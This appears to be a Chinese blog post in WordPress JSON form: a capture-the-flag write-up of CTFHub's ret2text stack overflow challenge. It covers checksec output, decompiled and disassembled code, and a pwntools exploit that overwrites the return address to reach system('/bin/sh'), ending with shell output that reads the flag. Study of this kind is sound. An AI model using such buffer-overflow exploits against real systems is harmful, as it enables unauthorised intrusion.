{"id":360,"date":"2021-10-05T21:19:18","date_gmt":"2021-10-05T13:19:18","guid":{"rendered":"https:\/\/dreamc.top\/?p=360"},"modified":"2021-10-05T21:19:18","modified_gmt":"2021-10-05T13:19:18","slug":"%e6%a0%88%e6%ba%a2%e5%87%ba-ret2text","status":"publish","type":"post","link":"https:\/\/dreamc.top\/index.php\/2021\/10\/05\/%e6%a0%88%e6%ba%a2%e5%87%ba-ret2text\/","title":{"rendered":"\u6808\u6ea2\u51fa\u2014\u2014ret2text"},"content":{"rendered":"<p class=\"has-large-font-size\">\u524d\u8a00<\/p>\n<p>\u6808\u6ea2\u51fa\u662f\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u4e00\u79cd\u3002\u51fd\u6570\u7684\u5c40\u90e8\u53d8\u91cf\u901a\u5e38\u4fdd\u5b58\u5728\u6808\u4e0a\uff0c\u5982\u679c\u8fd9\u4e9b\u7f13\u51b2\u533a\u53d1\u751f\u6ea2\u51fa\uff0c\u5c31\u662f\u6808\u6ea2\u51fa\u3002\u6700\u7ecf\u5178\u7684\u6808\u6ea2\u51fa\u5229\u7528\u65b9\u5f0f\u662f\u8986\u76d6\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740[\u5373ROP](Return Oriented Programming)\uff0c\u4ee5\u8fbe\u5230\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41\u7684\u76ee\u7684\u3002<\/p>\n<p>\u5728x86\u67b6\u6784\u4e2d\uff0cCPU\u6267\u884ccall\u6307\u4ee4\u4f1a\u5148\u5c06\u5f53\u524dcall\u6307\u4ee4\u7684\u4e0b\u4e00\u6761\u6307\u4ee4\u7684\u5730\u5740\u5165\u6808\uff0c\u518d\u8df3\u8f6c\u5230\u88ab\u8c03\u7528\u51fd\u6570\u3002\u5f53\u88ab\u8c03\u7528\u51fd\u6570\u9700\u8981\u8fd4\u56de\u65f6\u5c31\u6267\u884cret\u6307\u4ee4\uff0c\u63a5\u7740CPU\u4f1a\u6267\u884c\u51fa\u6808\uff0c\u6808\u9876\u7684\u5730\u5740\u4f1a\u8d4b\u7ed9EIP\u5bc4\u5b58\u5668\u3002\u8fd9\u4e2a\u5730\u5740\u8ba9\u88ab\u8c03\u7528\u51fd\u6570\u77e5\u9053\u8fd4\u56de\u5230\u8c03\u7528\u51fd\u6570\u7684\u4ec0\u4e48\u4f4d\u7f6e\uff0c\u53eb\u505a\u8fd4\u56de\u5730\u5740\u3002\u7406\u60f3\u60c5\u51b5\u4e0b\uff0c\u53d6\u51fa\u7684\u5730\u5740\u5c31\u662f\u4e4b\u524d\u8c03\u7528call\u5b58\u5165\u7684\u5730\u5740\uff0c\u4ee5\u4fdd\u8bc1\u53ef\u4ee5\u8fd4\u56de\u5230\u7236\u51fd\u6570\u7ee7\u7eed\u6267\u884c\u3002<\/p>\n<p class=\"has-medium-font-size\">ret2text\u539f\u7406<\/p>\n<p>ret2text\u987e\u540d\u601d\u4e49\uff0c\u5373\u63a7\u5236\u8fd4\u56de\u5730\u5740\u6307\u5411\u7a0b\u5e8f\u672c\u8eab\u5df2\u6709\u7684\u4ee3\u7801(.text)[\u5229\u7528\u5730\u5740]\u5e76\u6267\u884c\u3002<\/p>\n<p class=\"has-medium-font-size\">\u5de5\u5177\u51c6\u5907<\/p>\n<p>IDA\u3001DBG\u3001pwndbg\u3001peda\u3001pwntools<\/p>\n<p class=\"has-medium-font-size\">\u4f8b\u9898\u63cf\u8ff0\uff08ctfhub\u6280\u80fd\u6811 ret2text \uff09<\/p>\n<pre class=\"wp-block-code\"><code>nc challenge-dbabb54d9de9a05e.sandbox.ctfhub.com 29815\n\u9644\u4ef6\uff1apwn<\/code><\/pre>\n<p class=\"has-large-font-size\">ROP\u8fc7\u7a0b<\/p>\n<hr class=\"wp-block-separator\" \/>\n<p class=\"has-medium-font-size\">\u95ee\u9898\u5206\u6790<\/p>\n<p>\u4e0b\u8f7d\u9644\u4ef6\uff0c\u89e3\u538b\u67e5\u770b\u57fa\u672c\u4fe1\u606f\u3002<\/p>\n<figure class=\"wp-block-image size-full is-resized\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2021\/10\/WV8B9DT7MJSGZF6A4.png?resize=631%2C77&#038;ssl=1\" alt=\"\" class=\"wp-image-363\" width=\"631\" height=\"77\"><\/figure>\n<p> \u53d1\u73b0\u662f\u4e2a64\u4f4d\u7684elf\u6587\u4ef6 \u3002<\/p>\n<p> \u7136\u540e\u6211\u4eec\u68c0\u67e5\u5b83\u7684\u4fdd\u62a4\u673a\u5236 \u3002<\/p>\n<pre class=\"wp-block-code\"><code>root@192:\/home\/cjm\/\u684c\u9762# gdb\nGNU gdb (Debian 10.1-2) 10.1.90.20210103-git\nCopyright (C) 2021 Free Software Foundation, Inc.                      \nLicense GPLv3+: GNU GPL version 3 or later &lt;http:\/\/gnu.org\/licenses\/gpl.html&gt;\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.\nType &quot;show copying&quot; and &quot;show warranty&quot; for details.\nThis GDB was configured as &quot;x86_64-linux-gnu&quot;.\nType &quot;show configuration&quot; for configuration details.\nFor bug reporting instructions, please see:\n&lt;https:\/\/www.gnu.org\/software\/gdb\/bugs\/&gt;.\nFind the GDB manual and other documentation resources online at:\n    &lt;http:\/\/www.gnu.org\/software\/gdb\/documentation\/&gt;.\n\nFor help, type &quot;help&quot;.\nType &quot;apropos word&quot; to search for commands related to &quot;word&quot;.\npwndbg: loaded 198 commands. Type pwndbg [filter] for a list.\npwndbg: created $rebase, $ida gdb functions (can be used with print\/break)                                                                    \ngdb-peda$ checksec pwn\nCANARY    : disabled\nFORTIFY   : disabled\nNX        : disabled\nPIE       : disabled\nRELRO     : Partial\ngdb-peda$ \n<\/code><\/pre>\n<p>\u53d1\u73b0\u5b89\u5168\u63aa\u65bd\u90fd\u6ca1\u6709\u5f00\u542f\u3002\u6211\u4eec\u628a\u5b83\u653e\u8fdbIDA\u4e2d\uff0c\u6309F5\u8fdb\u884c\u53cd\u7f16\u8bd1\uff0c\u770b\u770bmain\u51fd\u6570\u7684\u6e90\u4ee3\u7801\u3002<\/p>\n<pre class=\"wp-block-code\"><code>int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  char v4[112]; \/\/ [rsp+0h] [rbp-70h] BYREF\n\n  setvbuf(stdout, 0LL, 2, 0LL);\n  setvbuf(stdin, 0LL, 1, 0LL);\n  puts(&quot;Welcome to CTFHub ret2text.Input someting:&quot;);\n  gets(v4);\n  puts(&quot;bye&quot;);\n  return 0;\n}<\/code><\/pre>\n<p>\u6709\u4e00\u4e9b\u8f93\u5165\u8f93\u51fa\u51fd\u6570\u8c03\u7528\u4e14\u672a\u5bf9\u8f93\u5165\u6570\u636e\u8fdb\u884c\u957f\u5ea6\u9650\u5236\uff0c\u4e0b\u9762\u6211\u4eec\u518d\u770b\u770bsecure\u51fd\u6570\u5185\u5bb9<\/p>\n<pre class=\"wp-block-code\"><code>int secure()\n{\n  unsigned int v0; \/\/ eax\n  int result; \/\/ eax\n  int v2; \/\/ [rsp+8h] [rbp-8h] BYREF\n  int v3; \/\/ [rsp+Ch] [rbp-4h]\n\n  v0 = time(0LL);\n  srand(v0);\n  v3 = rand();\n  __isoc99_scanf(&amp;unk_4008C8, &amp;v2);\n  result = v2;\n  if ( v3 == v2 )\n    result = system(&quot;\/bin\/sh&quot;);\n  return result;\n}<\/code><\/pre>\n<p>\u91cc\u9762\u8c03\u7528\u4e86<code>system(&#039;\/bin\/sh&#039;)<\/code>\u3002\u7531\u6b64\u53ef\u89c1\uff0c\u8fd9\u9053\u9898\u662f\u901a\u8fc7<code>gets()<\/code>\u51fd\u6570\u4f20\u9012\u53d8\u91cf\u8986\u76d6\u8fd4\u56de\u5730\u5740\u6267\u884c <code>system(&#039;\/bin\/sh&#039;)<\/code> \u83b7\u5f97shell\u3002<\/p>\n<p>\u6211\u4eec\u9700\u8981\u77e5\u9053\u4e24\u4e2a\u5173\u952e\u4fe1\u606f\uff1a<\/p>\n<p>    1.\u53d8\u91cf\u7684\u5730\u5740<\/p>\n<p>    2.<code>system(&#039;\/bin\/sh&#039;)<\/code> \u7684\u5185\u5b58\u5730\u5740<\/p>\n<p>\u7b2c\u4e00\u6b65\uff0c\u901a\u8fc7peda\u8c03\u8bd5\uff0c\u53cd\u6c47\u7f16\u627e\u5230\u53d8\u91cf\u7684\u5730\u5740<\/p>\n<pre class=\"wp-block-code\"><code>gdb-peda$ file .\/pwn\nReading symbols from .\/pwn...\n(No debugging symbols found in .\/pwn)\ngdb-peda$ disassemble main\nDump of assembler code for function main:\n   0x00000000004007c7 &lt;+0&gt;:     push   rbp\n   0x00000000004007c8 &lt;+1&gt;:     mov    rbp,rsp\n   0x00000000004007cb &lt;+4&gt;:     sub    rsp,0x70\n   0x00000000004007cf &lt;+8&gt;:     mov    rax,QWORD PTR [rip+0x20089a]        # 0x601070 &lt;stdout@@GLIBC_2.2.5&gt;\n   0x00000000004007d6 &lt;+15&gt;:    mov    ecx,0x0\n   0x00000000004007db &lt;+20&gt;:    mov    edx,0x2\n   0x00000000004007e0 &lt;+25&gt;:    mov    esi,0x0\n   0x00000000004007e5 &lt;+30&gt;:    mov    rdi,rax\n   0x00000000004007e8 &lt;+33&gt;:    call   0x400660 &lt;setvbuf@plt&gt;\n   0x00000000004007ed &lt;+38&gt;:    mov    rax,QWORD PTR [rip+0x20088c]        # 0x601080 &lt;stdin@@GLIBC_2.2.5&gt;\n   0x00000000004007f4 &lt;+45&gt;:    mov    ecx,0x0\n   0x00000000004007f9 &lt;+50&gt;:    mov    edx,0x1\n   0x00000000004007fe &lt;+55&gt;:    mov    esi,0x0\n   0x0000000000400803 &lt;+60&gt;:    mov    rdi,rax\n   0x0000000000400806 &lt;+63&gt;:    call   0x400660 &lt;setvbuf@plt&gt;\n   0x000000000040080b &lt;+68&gt;:    lea    rdi,[rip+0xc6]        # 0x4008d8\n   0x0000000000400812 &lt;+75&gt;:    call   0x400610 &lt;puts@plt&gt;\n   0x0000000000400817 &lt;+80&gt;:    lea    rax,[rbp-0x70]\n   0x000000000040081b &lt;+84&gt;:    mov    rdi,rax\n   0x000000000040081e &lt;+87&gt;:    mov    eax,0x0\n   0x0000000000400823 &lt;+92&gt;:    call   0x400650 &lt;gets@plt&gt;\n   0x0000000000400828 &lt;+97&gt;:    lea    rdi,[rip+0xd4]        # 0x400903\n   0x000000000040082f &lt;+104&gt;:   call   0x400610 &lt;puts@plt&gt;\n   0x0000000000400834 &lt;+109&gt;:   mov    eax,0x0\n   0x0000000000400839 &lt;+114&gt;:   leave  \n   0x000000000040083a &lt;+115&gt;:   ret    \nEnd of assembler dump.\ngdb-peda$ \n<\/code><\/pre>\n<p>\u53d8\u91cf\u5730\u5740\u4e3a<code>[rbp-0x70]<\/code>\u3002\u6211\u4eec\u77e5\u9053\u572864\u4f4d\u7cfb\u7edf\u4e2d\uff0cebp\u53608\u5b57\u8282\u3002\u8fd9\u91ccrbp\u540e\u5c31\u662febp\uff0cebp\u540e\u624d\u662f\u8fd4\u56de\u5730\u5740\u3002\u6211\u4eec\u8981\u586b\u5145\u53d8\u91cf\u5230\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u5c31\u8981\u4f7f\u53d8\u91cf\u957f\u5ea6\u4e3a<code>0x70+8=0x78<\/code>(\u8fd9\u4e2a\u4e5f\u662f\u504f\u79fb\u957f\u5ea6)\u3002<\/p>\n<p>\u7b2c\u4e8c\u6b65\uff0c\u540c\u6837\u53cd\u6c47\u7f16\u8c03\u8bd5<\/p>\n<pre class=\"wp-block-code\"><code>gdb-peda$ disassemble secure\nDump of assembler code for function secure:\n   0x0000000000400777 &lt;+0&gt;:     push   rbp\n   0x0000000000400778 &lt;+1&gt;:     mov    rbp,rsp\n   0x000000000040077b &lt;+4&gt;:     sub    rsp,0x10\n   0x000000000040077f &lt;+8&gt;:     mov    edi,0x0\n   0x0000000000400784 &lt;+13&gt;:    call   0x400640 &lt;time@plt&gt;\n   0x0000000000400789 &lt;+18&gt;:    mov    edi,eax\n   0x000000000040078b &lt;+20&gt;:    call   0x400630 &lt;srand@plt&gt;\n   0x0000000000400790 &lt;+25&gt;:    call   0x400680 &lt;rand@plt&gt;\n   0x0000000000400795 &lt;+30&gt;:    mov    DWORD PTR [rbp-0x4],eax\n   0x0000000000400798 &lt;+33&gt;:    lea    rax,[rbp-0x8]\n   0x000000000040079c &lt;+37&gt;:    mov    rsi,rax\n   0x000000000040079f &lt;+40&gt;:    lea    rdi,[rip+0x122]        # 0x4008c8                                                                      \n   0x00000000004007a6 &lt;+47&gt;:    mov    eax,0x0\n   0x00000000004007ab &lt;+52&gt;:    call   0x400670 &lt;__isoc99_scanf@plt&gt;\n   0x00000000004007b0 &lt;+57&gt;:    mov    eax,DWORD PTR [rbp-0x8]\n   0x00000000004007b3 &lt;+60&gt;:    cmp    DWORD PTR [rbp-0x4],eax\n   0x00000000004007b6 &lt;+63&gt;:    jne    0x4007c4 &lt;secure+77&gt;\n   0x00000000004007b8 &lt;+65&gt;:    lea    rdi,[rip+0x10c]        # 0x4008cb                                                                      \n   0x00000000004007bf &lt;+72&gt;:    call   0x400620 &lt;system@plt&gt;\n   0x00000000004007c4 &lt;+77&gt;:    nop\n   0x00000000004007c5 &lt;+78&gt;:    leave  \n   0x00000000004007c6 &lt;+79&gt;:    ret    \nEnd of assembler dump.\n<\/code><\/pre>\n<p>\u7531\u4e8e\u8981\u8c03\u7528\u8be5\u8bed\u53e5\uff0c\u5c31\u62ff\u8be5\u8bed\u53e5\u7684\u5730\u5740<code>0x4007b8<\/code>\u3002<\/p>\n<p class=\"has-medium-font-size\">\u7f16\u5199exp<\/p>\n<pre class=\"wp-block-code\"><code>from pwn import *\nhost = &#039;challenge-dbabb54d9de9a05e.sandbox.ctfhub.com&#039;\nport = 29815\n#p = process(&quot;.\/pwn&quot;)\np = connect(host, port)\npayload = &#039;A&#039; * 0x78 + p64(0x4007b8)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n<p>\u5982\u82e5\u51fa\u73b0\u9519\u8bef<code>TypeError: can only concatenate str (not &quot;bytes&quot;) to str<\/code>\uff0c\u662f\u56e0\u4e3apython3\u4e2dbytes\u7c7b\u578b\u4e0d\u80fd\u4e0estr\u7c7b\u578b\u76f4\u63a5\u76f8\u52a0\uff0c\u53ef\u4ee5\u5199\u6210\u8fd9\u6837\u6765 <code>b&#039;A&#039; * 0x78 + p64(0x4007b8) <\/code>\u6765\u907f\u514d\u62a5\u9519\u3002<\/p>\n<p>\u8fd0\u884c\u62ff\u5230flag\u3002<\/p>\n<pre class=\"wp-block-code\"><code>[x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815\n[x] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Trying 47.98.148.7\n[+] Opening connection to challenge-dbabb54d9de9a05e.sandbox.ctfhub.com on port 29815: Done\n[*] Switching to interactive mode\nWelcome to CTFHub ret2text.Input someting:\nbye\nls\nbin\ndev\nflag\nlib\nlib32\nlib64\npwn\ncat flag\nctfhub{ef5af582ab6cd2dc8fbc897e}\n<\/code><\/pre>\n<p>\u53c2\u8003\u8d44\u6599\uff1a<a href=\"https:\/\/www.wolai.com\/ctfhub\/ofBtUNidwfzzuXMBNBr4SF\">\u70b9\u51fb\u8fd9\u91cc<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u6808\u6ea2\u51fa\u662f\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u4e00\u79cd\u3002\u51fd\u6570\u7684\u5c40\u90e8\u53d8\u91cf\u901a\u5e38\u4fdd\u5b58\u5728\u6808\u4e0a\uff0c\u5982\u679c\u8fd9\u4e9b\u7f13\u51b2\u533a\u53d1\u751f\u6ea2\u51fa\uff0c\u5c31\u662f\u6808\u6ea2\u51fa\u3002\u6700\u7ecf\u5178\u7684\u6808\u6ea2 [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[7],"tags":[],"class_list":["post-360","post","type-post","status-publish","format-standard","hentry","category-studyrecords"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/360","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/comments?post=360"}],"version-history":[{"count":0,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/360\/revisions"}],"wp:attachment":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/media?parent=360"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/categories?post=360"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/tags?post=360"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}